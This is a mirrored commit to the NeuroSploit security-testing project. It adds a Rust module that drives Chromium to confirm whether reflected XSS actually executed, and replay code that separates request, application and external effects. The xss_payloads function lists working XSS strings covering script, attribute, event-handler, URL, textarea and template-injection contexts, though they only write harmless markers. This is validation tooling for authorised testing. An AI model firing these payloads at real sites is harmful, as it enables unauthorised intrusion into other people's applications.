mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 21:19:49 +02:00
feat: browser validator for XSS, and replay that separates request from effect
Two halves of the same problem — proving what actually happened rather than what a response suggested. browser.rs — a payload echoed into HTML is reflection; it is XSS only when a browser parses that response and runs it. The gap between the two is where most XSS false positives live: the value lands in an attribute that is never evaluated, inside a <textarea>, HTML-encoded on the way out, or blocked by CSP. All four look identical to a string match on the body. So a real Chromium loads the URL and reports whether a marker THE HARNESS CHOSE came back through a channel only executing code can reach: a dialog message, a document.title assignment, a window global. A console line is watched too but never treated as decisive on its own — a page can log the value it reflected without ever running it. Payloads are self-reporting rather than generic (alert(1) proves nothing attributable) and cover the contexts a reflected value lands in: raw HTML, attribute break-out, event handler, URL, raw-text element, template expression. When the marker is reflected but does not execute, that is recorded as a note: it tells the operator the input reaches the response and the context is what stopped it. Missing node or playwright yields available:false and confirms nothing. A missing tool must never read as a missing vulnerability — or as a present one. replay.rs — the engagement recorded 25 accepted POSTs and concluded "reset email flooding". Those are facts at different layers and the pipeline could not say so. observe_effects() now records three: request_effect the response: status, headers, latency, size application_effect a read-back showing state actually changed external_effect something left the building (mail, webhook, job) Without a verification request the application layer is reported as unexamined rather than inferred from a 200 — APIs accept and ignore writes routinely. The external layer is honestly reported as unobserved until the harness owns a mailbox or callback listener. deepest_observed() gives the ceiling an impact claim may be built on, which is exactly the line the agent crossed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
1 parent
22f2a3894d
commit
3800b029f2
3 files changed
+570
No files matched your search
@@ -0,0 +1,323 @@
|
|||||||
|
//! Browser validator — proving a payload *executed*, not that it appeared.
|
||||||
|
//!
|
||||||
|
//! A payload echoed into HTML is reflection. It becomes cross-site scripting
|
||||||
|
//! only when a browser parses that response and runs it, and the gap between
|
||||||
|
//! the two is where most XSS false positives live: the value lands inside an
|
||||||
|
//! attribute that is never evaluated, inside a `<textarea>`, HTML-encoded on
|
||||||
|
//! the way out, or blocked by CSP. Every one of those looks identical to a
|
||||||
|
//! string match against the response body.
|
||||||
|
//!
|
||||||
|
//! So [`XssValidator`](crate::validation::XssValidator) refuses to confirm
|
||||||
|
//! without `browser_executed` and `marker_observed`, and this module is what
|
||||||
|
//! sets them: a real Chromium, driven by Playwright, loading the URL and
|
||||||
|
//! reporting whether a marker **the harness chose** came back through a channel
|
||||||
|
//! that only executing code can reach.
|
||||||
|
//!
|
||||||
|
//! ## Why a marker, and why these channels
|
||||||
|
//!
|
||||||
|
//! The marker is generated per attempt (see [`crate::validation::canary`]), so
|
||||||
|
//! observing it cannot be coincidence — the target has no way to produce that
|
||||||
|
//! string on its own. It is reported through whichever channel fires first:
|
||||||
|
//!
|
||||||
|
//! | channel | what it proves |
|
||||||
|
//! |---------|----------------|
|
||||||
|
//! | `dialog` | `alert()`/`confirm()`/`prompt()` ran with our marker as its message |
|
||||||
|
//! | `title` | script assigned `document.title` — execution with no dialog to dismiss |
|
||||||
|
//! | `global` | script wrote `window.__neurosploit` |
|
||||||
|
//! | `console` | script called `console.log` (weakest: a page could log the reflected value itself, so it is reported and never treated as decisive on its own) |
|
||||||
|
//!
|
||||||
|
//! ## Degrading honestly
|
||||||
|
//!
|
||||||
|
//! Node or Playwright may be absent. In that case the result says
|
||||||
|
//! `available: false` and nothing is confirmed — the one thing this module must
|
||||||
|
//! never do is let a missing tool read as a missing vulnerability, or worse, as
|
||||||
|
//! a present one.
|
||||||
|
|
||||||
|
use crate::scope::{Action, ScopePolicy};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
/// What the browser saw.
|
||||||
|
#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)]
|
||||||
|
pub struct BrowserResult {
|
||||||
|
/// A browser actually ran. False means "we could not look", never "nothing
|
||||||
|
/// happened".
|
||||||
|
pub available: bool,
|
||||||
|
/// Script from the payload executed.
|
||||||
|
pub executed: bool,
|
||||||
|
/// The harness's marker was observed at runtime.
|
||||||
|
pub marker_observed: bool,
|
||||||
|
/// Which channel carried it: dialog · title · global · console.
|
||||||
|
#[serde(default)]
|
||||||
|
pub channel: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub console: Vec<String>,
|
||||||
|
/// Path to the screenshot taken at the moment of observation.
|
||||||
|
#[serde(default)]
|
||||||
|
pub screenshot: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub notes: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl BrowserResult {
|
||||||
|
/// Did this run produce proof of execution?
|
||||||
|
///
|
||||||
|
/// A console line alone does not: a page can log the value it reflected
|
||||||
|
/// without ever executing it.
|
||||||
|
pub fn proves_execution(&self) -> bool {
|
||||||
|
self.available && self.executed && self.marker_observed && self.channel != "console"
|
||||||
|
}
|
||||||
|
fn unavailable(note: &str) -> Self {
|
||||||
|
BrowserResult { available: false, notes: vec![note.to_string()], ..Default::default() }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Payloads that, if they execute, report the marker through a channel this
|
||||||
|
/// module watches.
|
||||||
|
///
|
||||||
|
/// They are deliberately *self-reporting* rather than generic (`<script>alert(1)</script>`
|
||||||
|
/// proves nothing we can attribute), and they cover the contexts a reflected
|
||||||
|
/// value usually lands in: raw HTML, inside an attribute, inside an existing
|
||||||
|
/// script, and as a URL.
|
||||||
|
pub fn xss_payloads(marker: &str) -> Vec<String> {
|
||||||
|
let m = marker;
|
||||||
|
vec![
|
||||||
|
format!("<script>document.title='{m}';window.__neurosploit='{m}'</script>"),
|
||||||
|
format!("\"><script>document.title='{m}';window.__neurosploit='{m}'</script>"),
|
||||||
|
format!("<img src=x onerror=\"document.title='{m}';window.__neurosploit='{m}'\">"),
|
||||||
|
format!("'\"><svg/onload=\"document.title='{m}';window.__neurosploit='{m}'\">"),
|
||||||
|
format!("javascript:document.title='{m}'"),
|
||||||
|
format!("';document.title='{m}';//"),
|
||||||
|
format!("</textarea><script>document.title='{m}'</script>"),
|
||||||
|
format!("{{{{constructor.constructor(\"document.title='{m}'\")()}}}}"),
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The driver script. Written to a temp file and run with `node`.
|
||||||
|
///
|
||||||
|
/// It reports a single JSON line on stdout so the Rust side never has to parse
|
||||||
|
/// Playwright's own chatter, and it takes a screenshot only when it observed
|
||||||
|
/// something — an image of a page that did nothing is not evidence.
|
||||||
|
fn driver_js() -> &'static str {
|
||||||
|
r#"
|
||||||
|
const { chromium } = require('playwright');
|
||||||
|
const [,, url, marker, shotPath, waitMs] = process.argv;
|
||||||
|
(async () => {
|
||||||
|
const out = { available: true, executed: false, marker_observed: false, channel: '', console: [], screenshot: '', notes: [] };
|
||||||
|
let browser;
|
||||||
|
try {
|
||||||
|
browser = await chromium.launch({ args: ['--no-sandbox'] });
|
||||||
|
const ctx = await browser.newContext({ ignoreHTTPSErrors: true });
|
||||||
|
const page = await ctx.newPage();
|
||||||
|
|
||||||
|
// A dialog blocks the page until it is handled; handling it is also how we
|
||||||
|
// read its message.
|
||||||
|
page.on('dialog', async (d) => {
|
||||||
|
const msg = d.message() || '';
|
||||||
|
if (msg.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'dialog'; }
|
||||||
|
try { await d.dismiss(); } catch {}
|
||||||
|
});
|
||||||
|
page.on('console', (m) => {
|
||||||
|
const t = m.text();
|
||||||
|
if (out.console.length < 40) out.console.push(t);
|
||||||
|
if (t.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'console'; }
|
||||||
|
});
|
||||||
|
page.on('pageerror', (e) => { if (out.console.length < 40) out.console.push('pageerror: ' + e.message); });
|
||||||
|
|
||||||
|
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: Number(waitMs) });
|
||||||
|
// Give deferred handlers (onerror, onload, timers) a chance to run.
|
||||||
|
await page.waitForTimeout(Math.min(2500, Number(waitMs) / 2));
|
||||||
|
|
||||||
|
const title = await page.title().catch(() => '');
|
||||||
|
if (title.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'title'; }
|
||||||
|
const global = await page.evaluate(() => window.__neurosploit || '').catch(() => '');
|
||||||
|
if (String(global).includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'global'; }
|
||||||
|
|
||||||
|
// Reflection without execution is worth recording: it tells the operator
|
||||||
|
// the input reaches the response and the context is what blocked it.
|
||||||
|
if (!out.executed) {
|
||||||
|
const html = await page.content().catch(() => '');
|
||||||
|
if (html.includes(marker)) out.notes.push('marker is reflected in the DOM but did not execute — encoded, non-executing context, or blocked by CSP');
|
||||||
|
}
|
||||||
|
if (out.marker_observed && shotPath) {
|
||||||
|
try { await page.screenshot({ path: shotPath, fullPage: false }); out.screenshot = shotPath; } catch {}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
out.notes.push('browser error: ' + (e && e.message ? e.message : String(e)));
|
||||||
|
} finally {
|
||||||
|
try { if (browser) await browser.close(); } catch {}
|
||||||
|
process.stdout.write('NSJSON' + JSON.stringify(out) + 'NSEND');
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
"#
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pull the driver's result out of its stdout.
|
||||||
|
///
|
||||||
|
/// Playwright and npx print their own noise, so the payload is delimited rather
|
||||||
|
/// than assumed to be the whole stream.
|
||||||
|
pub fn parse_result(stdout: &str) -> Option<BrowserResult> {
|
||||||
|
let start = stdout.find("NSJSON")? + "NSJSON".len();
|
||||||
|
let end = stdout[start..].find("NSEND")? + start;
|
||||||
|
serde_json::from_str(&stdout[start..end]).ok()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct BrowserProbe {
|
||||||
|
policy: ScopePolicy,
|
||||||
|
timeout: Duration,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl BrowserProbe {
|
||||||
|
pub fn new(policy: ScopePolicy) -> Self {
|
||||||
|
BrowserProbe { policy, timeout: Duration::from_secs(30) }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_timeout(mut self, t: Duration) -> Self {
|
||||||
|
self.timeout = t;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Is a browser usable on this machine?
|
||||||
|
pub fn available() -> bool {
|
||||||
|
which("node") && (playwright_installed() || which("npx"))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Load `url` in a real browser and report whether `marker` executed.
|
||||||
|
///
|
||||||
|
/// The scope guard runs first: driving a browser is still sending traffic,
|
||||||
|
/// and a validator that wanders off-target while confirming a finding would
|
||||||
|
/// undo the whole point of having a boundary.
|
||||||
|
pub async fn confirm_execution(&self, url: &str, marker: &str, shot: Option<&str>) -> BrowserResult {
|
||||||
|
let decision = self.policy.check(url, Action::Exploit);
|
||||||
|
if !decision.allowed() {
|
||||||
|
return BrowserResult::unavailable(&format!("scope guard refused the browser check: {}", decision.reason()));
|
||||||
|
}
|
||||||
|
if !Self::available() {
|
||||||
|
return BrowserResult::unavailable(
|
||||||
|
"no browser available — install node and `npx playwright install chromium`. Nothing is confirmed without one.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let dir = std::env::temp_dir().join(format!("ns-browser-{}", std::process::id()));
|
||||||
|
if std::fs::create_dir_all(&dir).is_err() {
|
||||||
|
return BrowserResult::unavailable("could not create a temp dir for the browser driver");
|
||||||
|
}
|
||||||
|
let script = dir.join("ns-xss-probe.js");
|
||||||
|
if std::fs::write(&script, driver_js()).is_err() {
|
||||||
|
return BrowserResult::unavailable("could not write the browser driver");
|
||||||
|
}
|
||||||
|
|
||||||
|
let ms = self.timeout.as_millis().to_string();
|
||||||
|
let mut cmd = tokio::process::Command::new("node");
|
||||||
|
cmd.arg(&script).arg(url).arg(marker).arg(shot.unwrap_or("")).arg(&ms);
|
||||||
|
cmd.kill_on_drop(true);
|
||||||
|
cmd.stdout(std::process::Stdio::piped()).stderr(std::process::Stdio::piped());
|
||||||
|
|
||||||
|
let run = tokio::time::timeout(self.timeout + Duration::from_secs(10), async {
|
||||||
|
cmd.output().await
|
||||||
|
})
|
||||||
|
.await;
|
||||||
|
|
||||||
|
let output = match run {
|
||||||
|
Ok(Ok(o)) => o,
|
||||||
|
Ok(Err(e)) => return BrowserResult::unavailable(&format!("could not start node: {e}")),
|
||||||
|
Err(_) => return BrowserResult::unavailable("the browser check timed out"),
|
||||||
|
};
|
||||||
|
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||||
|
match parse_result(&stdout) {
|
||||||
|
Some(r) => r,
|
||||||
|
None => {
|
||||||
|
let err = String::from_utf8_lossy(&output.stderr);
|
||||||
|
let hint = if err.contains("Cannot find module 'playwright'") {
|
||||||
|
"playwright is not installed — run `npx playwright install chromium`"
|
||||||
|
} else {
|
||||||
|
"the browser driver produced no result"
|
||||||
|
};
|
||||||
|
BrowserResult::unavailable(&format!("{hint}: {}", err.chars().take(200).collect::<String>()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn which(bin: &str) -> bool {
|
||||||
|
std::env::var_os("PATH")
|
||||||
|
.map(|p| std::env::split_paths(&p).any(|d| d.join(bin).is_file()))
|
||||||
|
.unwrap_or(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn playwright_installed() -> bool {
|
||||||
|
// A local install is what makes the driver's `require` work without a
|
||||||
|
// network round trip on every check.
|
||||||
|
["node_modules/playwright", "node_modules/.bin/playwright"]
|
||||||
|
.iter()
|
||||||
|
.any(|p| std::path::Path::new(p).exists())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn every_payload_carries_the_marker_and_a_self_report() {
|
||||||
|
let m = crate::validation::canary("nsxss");
|
||||||
|
for p in xss_payloads(&m) {
|
||||||
|
assert!(p.contains(&m), "payload must carry the marker: {p}");
|
||||||
|
assert!(
|
||||||
|
p.contains("document.title") || p.contains("__neurosploit"),
|
||||||
|
"a payload that does not report itself proves nothing we can attribute: {p}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn payloads_cover_the_contexts_a_value_lands_in() {
|
||||||
|
let p = xss_payloads("M");
|
||||||
|
let all = p.join(" ");
|
||||||
|
assert!(all.contains("\"><script"), "attribute break-out");
|
||||||
|
assert!(all.contains("onerror"), "event handler");
|
||||||
|
assert!(all.contains("javascript:"), "URL context");
|
||||||
|
assert!(all.contains("</textarea>"), "raw-text element");
|
||||||
|
assert!(all.contains("constructor.constructor"), "template expression");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn a_console_hit_alone_is_not_proof_of_execution() {
|
||||||
|
let r = BrowserResult { available: true, executed: true, marker_observed: true, channel: "console".into(), ..Default::default() };
|
||||||
|
assert!(!r.proves_execution(), "a page can log the value it reflected without running it");
|
||||||
|
let r = BrowserResult { channel: "dialog".into(), ..r };
|
||||||
|
assert!(r.proves_execution());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn an_unavailable_browser_confirms_nothing() {
|
||||||
|
let r = BrowserResult::unavailable("node missing");
|
||||||
|
assert!(!r.available && !r.proves_execution());
|
||||||
|
// The distinction that matters: this is "we could not look", and it
|
||||||
|
// must never read as either a clean result or a finding.
|
||||||
|
assert!(!r.executed && !r.marker_observed);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_driver_result_is_parsed_out_of_surrounding_noise() {
|
||||||
|
let out = "npm warn something\nDownloading Chromium...\nNSJSON{\"available\":true,\"executed\":true,\"marker_observed\":true,\"channel\":\"dialog\",\"console\":[],\"screenshot\":\"\",\"notes\":[]}NSEND\ntrailing chatter";
|
||||||
|
let r = parse_result(out).expect("must find the delimited payload");
|
||||||
|
assert!(r.proves_execution());
|
||||||
|
assert_eq!(r.channel, "dialog");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn garbage_output_yields_no_result_rather_than_a_default_one() {
|
||||||
|
assert!(parse_result("playwright exploded").is_none());
|
||||||
|
assert!(parse_result("NSJSON{not json}NSEND").is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn an_out_of_scope_url_is_refused_before_a_browser_starts() {
|
||||||
|
let mut policy = ScopePolicy::for_target("https://app.example.com/");
|
||||||
|
policy.soft.max_requests_per_minute = 0;
|
||||||
|
let probe = BrowserProbe::new(policy);
|
||||||
|
let r = probe.confirm_execution("https://evil.test/x", "M", None).await;
|
||||||
|
assert!(!r.available);
|
||||||
|
assert!(r.notes[0].contains("scope guard refused"), "{:?}", r.notes);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -10,6 +10,7 @@ pub mod agents;
|
|||||||
pub mod attack_graph;
|
pub mod attack_graph;
|
||||||
pub mod audit;
|
pub mod audit;
|
||||||
pub mod belief;
|
pub mod belief;
|
||||||
|
pub mod browser;
|
||||||
pub mod capability;
|
pub mod capability;
|
||||||
pub mod claims;
|
pub mod claims;
|
||||||
pub mod creds;
|
pub mod creds;
|
||||||
@@ -43,6 +44,7 @@ pub use memory::{Memory, Query as MemoryQuery, Tier as MemoryTier};
|
|||||||
pub use pool::{ModelPool, Task};
|
pub use pool::{ModelPool, Task};
|
||||||
pub use audit::{AuditLog, AuditRecord, KillReason, KillSwitch};
|
pub use audit::{AuditLog, AuditRecord, KillReason, KillSwitch};
|
||||||
pub use capability::{Capability, TokenError};
|
pub use capability::{Capability, TokenError};
|
||||||
|
pub use browser::{BrowserProbe, BrowserResult};
|
||||||
pub use claims::{Claim, ClaimSet, ClaimStatus, Decision, EvidenceLedger};
|
pub use claims::{Claim, ClaimSet, ClaimStatus, Decision, EvidenceLedger};
|
||||||
pub use policy::{Act, ActionKind, BlastRadius, EngagementPolicy, Environment, Protocol, Risk, RiskDecision, SafetyPolicy};
|
pub use policy::{Act, ActionKind, BlastRadius, EngagementPolicy, Environment, Protocol, Risk, RiskDecision, SafetyPolicy};
|
||||||
pub use replay::{ReplayEngine, ReqSpec};
|
pub use replay::{ReplayEngine, ReqSpec};
|
||||||
|
|||||||
@@ -25,6 +25,7 @@
|
|||||||
//! the report; a 40MB response is not evidence, it is a liability.
|
//! the report; a 40MB response is not evidence, it is a liability.
|
||||||
|
|
||||||
use crate::scope::ScopePolicy;
|
use crate::scope::ScopePolicy;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
use crate::validation::{Evidence, Exchange};
|
use crate::validation::{Evidence, Exchange};
|
||||||
use std::collections::BTreeMap;
|
use std::collections::BTreeMap;
|
||||||
use std::time::{Duration, Instant};
|
use std::time::{Duration, Instant};
|
||||||
@@ -249,6 +250,197 @@ impl ReplayEngine {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Effect layers
|
||||||
|
//
|
||||||
|
// The engagement that motivated this recorded 25 accepted POSTs and concluded
|
||||||
|
// "reset email flooding". Those are different facts at different layers, and
|
||||||
|
// the pipeline had no way to say so: a request being accepted is not a state
|
||||||
|
// change, and a state change is not a message leaving the building.
|
||||||
|
//
|
||||||
|
// request_effect the response: status, headers, latency, body delta
|
||||||
|
// application_effect something changed inside: a record, a token, a queued job
|
||||||
|
// external_effect something left: an email delivered, a webhook fired
|
||||||
|
//
|
||||||
|
// Each layer needs its own observation. The harness can measure the first
|
||||||
|
// directly, the second with a read-back, and the third only through a channel
|
||||||
|
// it controls (a mailbox it owns, an OOB callback). Anything it cannot observe
|
||||||
|
// is recorded as NOT OBSERVED rather than inferred — which is exactly the line
|
||||||
|
// the agent crossed.
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/// Which layer an observation belongs to.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||||
|
#[serde(rename_all = "kebab-case")]
|
||||||
|
pub enum EffectLayer {
|
||||||
|
Request,
|
||||||
|
Application,
|
||||||
|
External,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EffectLayer {
|
||||||
|
pub fn as_str(self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
EffectLayer::Request => "request_effect",
|
||||||
|
EffectLayer::Application => "application_effect",
|
||||||
|
EffectLayer::External => "external_effect",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// What was seen at one layer — or that nothing was looked at.
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||||
|
pub struct EffectObservation {
|
||||||
|
pub layer: EffectLayer,
|
||||||
|
/// True only when the harness itself observed it.
|
||||||
|
pub observed: bool,
|
||||||
|
pub detail: String,
|
||||||
|
/// Evidence ledger ids, when the caller is building a claim set.
|
||||||
|
#[serde(default)]
|
||||||
|
pub evidence: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EffectObservation {
|
||||||
|
pub fn seen(layer: EffectLayer, detail: impl Into<String>) -> Self {
|
||||||
|
EffectObservation { layer, observed: true, detail: detail.into(), evidence: Vec::new() }
|
||||||
|
}
|
||||||
|
/// Not observed, with the reason. "We did not look" and "we looked and saw
|
||||||
|
/// nothing" are both recorded here, and neither is evidence of absence of
|
||||||
|
/// the effect — only of its demonstration.
|
||||||
|
pub fn not_seen(layer: EffectLayer, why: impl Into<String>) -> Self {
|
||||||
|
EffectObservation { layer, observed: false, detail: why.into(), evidence: Vec::new() }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Everything observed about one interaction, layer by layer.
|
||||||
|
#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)]
|
||||||
|
pub struct EffectReport {
|
||||||
|
#[serde(default)]
|
||||||
|
pub observations: Vec<EffectObservation>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EffectReport {
|
||||||
|
pub fn push(&mut self, o: EffectObservation) {
|
||||||
|
self.observations.push(o);
|
||||||
|
}
|
||||||
|
pub fn observed(&self, layer: EffectLayer) -> bool {
|
||||||
|
self.observations.iter().any(|o| o.layer == layer && o.observed)
|
||||||
|
}
|
||||||
|
/// The deepest layer actually demonstrated. This is what a severity or an
|
||||||
|
/// impact claim may be built on — and nothing deeper.
|
||||||
|
pub fn deepest_observed(&self) -> Option<EffectLayer> {
|
||||||
|
[EffectLayer::External, EffectLayer::Application, EffectLayer::Request]
|
||||||
|
.into_iter()
|
||||||
|
.find(|l| self.observed(*l))
|
||||||
|
}
|
||||||
|
/// One line per layer, for the evidence section of a report.
|
||||||
|
pub fn summary(&self) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
for layer in [EffectLayer::Request, EffectLayer::Application, EffectLayer::External] {
|
||||||
|
let line = self
|
||||||
|
.observations
|
||||||
|
.iter()
|
||||||
|
.find(|o| o.layer == layer)
|
||||||
|
.map(|o| format!("{} {}", if o.observed { "observed:" } else { "NOT observed:" }, o.detail))
|
||||||
|
.unwrap_or_else(|| "not examined".to_string());
|
||||||
|
out.push_str(&format!(" {:<20} {line}\n", layer.as_str()));
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ReplayEngine {
|
||||||
|
/// Re-run an interaction and record what it did at every layer the harness
|
||||||
|
/// can reach.
|
||||||
|
///
|
||||||
|
/// `verify` is a read-back request that reveals an application effect (the
|
||||||
|
/// record as it now stands, the account's state, the audit endpoint).
|
||||||
|
/// `marker` is a value expected to appear there if the write took. Without
|
||||||
|
/// a verification request the application layer is honestly reported as
|
||||||
|
/// unexamined — the alternative, inferring it from a 200, is the mistake
|
||||||
|
/// this whole layering exists to prevent.
|
||||||
|
pub async fn observe_effects(
|
||||||
|
&self,
|
||||||
|
action: &ReqSpec,
|
||||||
|
verify: Option<&ReqSpec>,
|
||||||
|
marker: Option<&str>,
|
||||||
|
) -> (EffectReport, Option<Exchange>) {
|
||||||
|
let mut report = EffectReport::default();
|
||||||
|
|
||||||
|
let before = match verify {
|
||||||
|
Some(v) => self.send(v).await.ok(),
|
||||||
|
None => None,
|
||||||
|
};
|
||||||
|
|
||||||
|
let acted = match self.send(action).await {
|
||||||
|
Ok(x) => x,
|
||||||
|
Err(e) => {
|
||||||
|
report.push(EffectObservation::not_seen(EffectLayer::Request, format!("the request could not be sent: {e}")));
|
||||||
|
report.push(EffectObservation::not_seen(EffectLayer::Application, "no request, so no application effect to look for"));
|
||||||
|
report.push(EffectObservation::not_seen(EffectLayer::External, "no request, so no external effect to look for"));
|
||||||
|
return (report, None);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
report.push(EffectObservation::seen(
|
||||||
|
EffectLayer::Request,
|
||||||
|
format!("{} {} → {} · {} bytes · {} ms", acted.method, acted.url, acted.status, acted.len(), acted.elapsed_ms),
|
||||||
|
));
|
||||||
|
|
||||||
|
match verify {
|
||||||
|
None => report.push(EffectObservation::not_seen(
|
||||||
|
EffectLayer::Application,
|
||||||
|
"no read-back was performed — a response status does not show whether state changed",
|
||||||
|
)),
|
||||||
|
Some(v) => match self.send(v).await {
|
||||||
|
Err(e) => report.push(EffectObservation::not_seen(EffectLayer::Application, format!("the read-back failed: {e}"))),
|
||||||
|
Ok(after) => {
|
||||||
|
let marker_hit = marker.map(|m| after.body.contains(m) && !before.as_ref().map(|b| b.body.contains(m)).unwrap_or(false));
|
||||||
|
match marker_hit {
|
||||||
|
Some(true) => report.push(EffectObservation::seen(
|
||||||
|
EffectLayer::Application,
|
||||||
|
format!("the read-back now contains the injected value ({})", marker.unwrap_or("")),
|
||||||
|
)),
|
||||||
|
Some(false) => report.push(EffectObservation::not_seen(
|
||||||
|
EffectLayer::Application,
|
||||||
|
"the read-back does not contain the injected value — the request was accepted and the change was not persisted",
|
||||||
|
)),
|
||||||
|
None => {
|
||||||
|
// No marker to look for: fall back to whether the
|
||||||
|
// resource changed at all, which is weaker and says so.
|
||||||
|
let changed = before
|
||||||
|
.as_ref()
|
||||||
|
.map(|b| b.status != after.status || b.body != after.body)
|
||||||
|
.unwrap_or(false);
|
||||||
|
if changed {
|
||||||
|
report.push(EffectObservation::seen(
|
||||||
|
EffectLayer::Application,
|
||||||
|
format!("the resource differs after the request ({} → {}, {} → {} bytes)", before.as_ref().map(|b| b.status).unwrap_or(0), after.status, before.as_ref().map(|b| b.len()).unwrap_or(0), after.len()),
|
||||||
|
));
|
||||||
|
} else {
|
||||||
|
report.push(EffectObservation::not_seen(
|
||||||
|
EffectLayer::Application,
|
||||||
|
"the resource is unchanged after the request",
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// The harness has no mailbox and no callback listener of its own yet, so
|
||||||
|
// it cannot see this layer. Saying that plainly is the point: an
|
||||||
|
// unobserved external effect must never be inferred from an accepted
|
||||||
|
// request.
|
||||||
|
report.push(EffectObservation::not_seen(
|
||||||
|
EffectLayer::External,
|
||||||
|
"no channel the harness controls (mailbox, OOB callback) was watching — delivery of mail, notifications or downstream jobs was not observed",
|
||||||
|
));
|
||||||
|
|
||||||
|
(report, Some(acted))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// Rebuild a request spec from a recorded exchange.
|
/// Rebuild a request spec from a recorded exchange.
|
||||||
pub fn spec_of(x: &Exchange) -> ReqSpec {
|
pub fn spec_of(x: &Exchange) -> ReqSpec {
|
||||||
ReqSpec {
|
ReqSpec {
|
||||||
@@ -355,3 +547,56 @@ mod tests {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod effect_tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn an_accepted_request_is_not_an_application_effect() {
|
||||||
|
let mut r = EffectReport::default();
|
||||||
|
r.push(EffectObservation::seen(EffectLayer::Request, "POST /reset → 302"));
|
||||||
|
r.push(EffectObservation::not_seen(EffectLayer::Application, "no read-back was performed"));
|
||||||
|
r.push(EffectObservation::not_seen(EffectLayer::External, "no mailbox watched"));
|
||||||
|
assert!(r.observed(EffectLayer::Request));
|
||||||
|
assert!(!r.observed(EffectLayer::Application));
|
||||||
|
// The deepest thing demonstrated is the request — an impact claim may
|
||||||
|
// be built on that and nothing further.
|
||||||
|
assert_eq!(r.deepest_observed(), Some(EffectLayer::Request));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_summary_says_not_observed_rather_than_staying_silent() {
|
||||||
|
let mut r = EffectReport::default();
|
||||||
|
r.push(EffectObservation::seen(EffectLayer::Request, "25 requests accepted"));
|
||||||
|
r.push(EffectObservation::not_seen(EffectLayer::External, "no mailbox watched"));
|
||||||
|
let s = r.summary();
|
||||||
|
assert!(s.contains("request_effect") && s.contains("observed:"));
|
||||||
|
assert!(s.contains("external_effect") && s.contains("NOT observed:"));
|
||||||
|
// A layer nobody looked at must not read as a clean result.
|
||||||
|
assert!(s.contains("application_effect") && s.contains("not examined"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_deepest_observed_layer_is_the_ceiling_for_a_claim() {
|
||||||
|
let mut r = EffectReport::default();
|
||||||
|
r.push(EffectObservation::seen(EffectLayer::Request, "POST accepted"));
|
||||||
|
r.push(EffectObservation::seen(EffectLayer::Application, "read-back shows the new value"));
|
||||||
|
